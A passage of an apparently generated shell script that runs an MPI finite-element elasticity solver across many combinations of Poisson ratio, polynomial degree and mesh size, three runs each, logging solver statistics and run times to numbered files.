cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"189_linE_nu_0.3_deg_3_h_6_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"189_linE_nu_0.3_deg_3_h_6_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 3 h: 6 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"190_linE_nu_0.3_deg_3_h_6_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"190_linE_nu_0.3_deg_3_h_6_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 3 h: 6 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"191_linE_nu_0.3_deg_3_h_6_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"191_linE_nu_0.3_deg_3_h_6_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 3 h: 7 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"192_linE_nu_0.3_deg_3_h_7_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"192_linE_nu_0.3_deg_3_h_7_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 3 h: 7 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"193_linE_nu_0.3_deg_3_h_7_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"193_linE_nu_0.3_deg_3_h_7_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 3 h: 7 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"194_linE_nu_0.3_deg_3_h_7_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"194_linE_nu_0.3_deg_3_h_7_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 4 h: 2 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 2,2,2 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"195_linE_nu_0.3_deg_4_h_2_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"195_linE_nu_0.3_deg_4_h_2_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 4 h: 2 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 2,2,2 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"196_linE_nu_0.3_deg_4_h_2_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"196_linE_nu_0.3_deg_4_h_2_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 4 h: 2 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 2,2,2 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"197_linE_nu_0.3_deg_4_h_2_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"197_linE_nu_0.3_deg_4_h_2_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 4 h: 3 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"198_linE_nu_0.3_deg_4_h_3_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"198_linE_nu_0.3_deg_4_h_3_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 4 h: 3 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"199_linE_nu_0.3_deg_4_h_3_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"199_linE_nu_0.3_deg_4_h_3_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 4 h: 3 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"200_linE_nu_0.3_deg_4_h_3_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"200_linE_nu_0.3_deg_4_h_3_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 4 h: 4 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"201_linE_nu_0.3_deg_4_h_4_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"201_linE_nu_0.3_deg_4_h_4_cpu_32_run_1.log\" \n\necho \"running nu: 0.3 p: 4 h: 4 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"202_linE_nu_0.3_deg_4_h_4_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"202_linE_nu_0.3_deg_4_h_4_cpu_32_run_2.log\" \n\necho \"running nu: 0.3 p: 4 h: 4 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"203_linE_nu_0.3_deg_4_h_4_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"203_linE_nu_0.3_deg_4_h_4_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 13 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"204_linE_nu_0.49_deg_2_h_13_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"204_linE_nu_0.49_deg_2_h_13_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 13 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"205_linE_nu_0.49_deg_2_h_13_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"205_linE_nu_0.49_deg_2_h_13_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 13 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"206_linE_nu_0.49_deg_2_h_13_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"206_linE_nu_0.49_deg_2_h_13_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 22 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 22,22,22 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"207_linE_nu_0.49_deg_2_h_22_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"207_linE_nu_0.49_deg_2_h_22_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 22 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 22,22,22 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"208_linE_nu_0.49_deg_2_h_22_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"208_linE_nu_0.49_deg_2_h_22_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 22 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 22,22,22 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"209_linE_nu_0.49_deg_2_h_22_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"209_linE_nu_0.49_deg_2_h_22_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 23 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 23,23,23 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"210_linE_nu_0.49_deg_2_h_23_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"210_linE_nu_0.49_deg_2_h_23_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 23 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 23,23,23 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"211_linE_nu_0.49_deg_2_h_23_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"211_linE_nu_0.49_deg_2_h_23_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 23 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 23,23,23 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"212_linE_nu_0.49_deg_2_h_23_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"212_linE_nu_0.49_deg_2_h_23_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 40 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 40,40,40 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"213_linE_nu_0.49_deg_2_h_40_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"213_linE_nu_0.49_deg_2_h_40_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 40 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 40,40,40 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"214_linE_nu_0.49_deg_2_h_40_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"214_linE_nu_0.49_deg_2_h_40_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 40 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 40,40,40 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"215_linE_nu_0.49_deg_2_h_40_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"215_linE_nu_0.49_deg_2_h_40_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 41 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 41,41,41 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"216_linE_nu_0.49_deg_2_h_41_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"216_linE_nu_0.49_deg_2_h_41_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 41 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 41,41,41 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"217_linE_nu_0.49_deg_2_h_41_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"217_linE_nu_0.49_deg_2_h_41_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 41 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 41,41,41 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"218_linE_nu_0.49_deg_2_h_41_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"218_linE_nu_0.49_deg_2_h_41_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 5 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"219_linE_nu_0.49_deg_3_h_5_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"219_linE_nu_0.49_deg_3_h_5_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 5 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"220_linE_nu_0.49_deg_3_h_5_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"220_linE_nu_0.49_deg_3_h_5_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 5 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"221_linE_nu_0.49_deg_3_h_5_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"221_linE_nu_0.49_deg_3_h_5_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 8 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"222_linE_nu_0.49_deg_3_h_8_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"222_linE_nu_0.49_deg_3_h_8_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 8 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"223_linE_nu_0.49_deg_3_h_8_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"223_linE_nu_0.49_deg_3_h_8_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 8 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"224_linE_nu_0.49_deg_3_h_8_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"224_linE_nu_0.49_deg_3_h_8_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 9 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"225_linE_nu_0.49_deg_3_h_9_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"225_linE_nu_0.49_deg_3_h_9_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 9 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"226_linE_nu_0.49_deg_3_h_9_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"226_linE_nu_0.49_deg_3_h_9_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 9 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"227_linE_nu_0.49_deg_3_h_9_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"227_linE_nu_0.49_deg_3_h_9_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 12 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 12,12,12 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"228_linE_nu_0.49_deg_3_h_12_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"228_linE_nu_0.49_deg_3_h_12_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 12 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 12,12,12 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"229_linE_nu_0.49_deg_3_h_12_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"229_linE_nu_0.49_deg_3_h_12_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 12 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 12,12,12 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"230_linE_nu_0.49_deg_3_h_12_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"230_linE_nu_0.49_deg_3_h_12_cpu_32_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 13 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"231_linE_nu_0.49_deg_3_h_13_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"231_linE_nu_0.49_deg_3_h_13_cpu_32_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 13 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"232_linE_nu_0.49_deg_3_h_13_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"232_linE_nu_0.49_deg_3_h_13_cpu_32_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 13 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 